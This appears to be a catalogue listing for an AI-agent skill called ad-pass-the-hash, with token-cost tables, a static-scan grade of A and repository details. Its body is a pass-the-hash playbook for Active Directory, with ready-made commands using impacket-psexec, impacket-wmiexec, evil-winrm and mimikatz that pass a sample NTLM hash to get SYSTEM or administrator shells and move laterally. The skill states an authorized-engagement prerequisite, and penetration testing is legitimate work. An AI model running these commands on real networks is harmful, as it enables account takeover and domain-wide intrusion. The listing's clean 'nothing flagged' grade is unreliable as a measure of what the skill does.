Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.01354 |
| Opus 5 | $0.00028 | $0.00677 |
| Sonnet 5 | $0.00011 | $0.00271 |
| Haiku 4.5 | $0.00006 | $0.00135 |
Grade A, and why
ad-pass-the-hash scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Pass-the-Hash (PtH)
When to Use
- When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
- To perform lateral movement to other machines where the compromised user has administrative access.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Acquiring the NTLM Hash
Hashes are typically formatted as LM_HASH:NTLM_HASH.
Example: aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29
(Note: Active Directory no longer stores the LM hash by default, so it's usually the blank aad3...04ee value, but the NTLM portion is what matters).
Phase 2: Execution via Impacket (Linux/Mac)
Impacket provides multiple tools that support the -hashes flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.
# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29
# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/[email protected] -hashes :88e4d9fabaecf3dec18dd80905521b29
Phase 3: Execution via Evil-WinRM
If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.
# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29
Phase 4: Execution via Mimikatz (Windows)
If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.
# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"
A new command prompt will open running as the user, allowing access to network shares and execution across the domain.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

ad-pass-the-hash is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 56 tokens to every session and 1,354 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
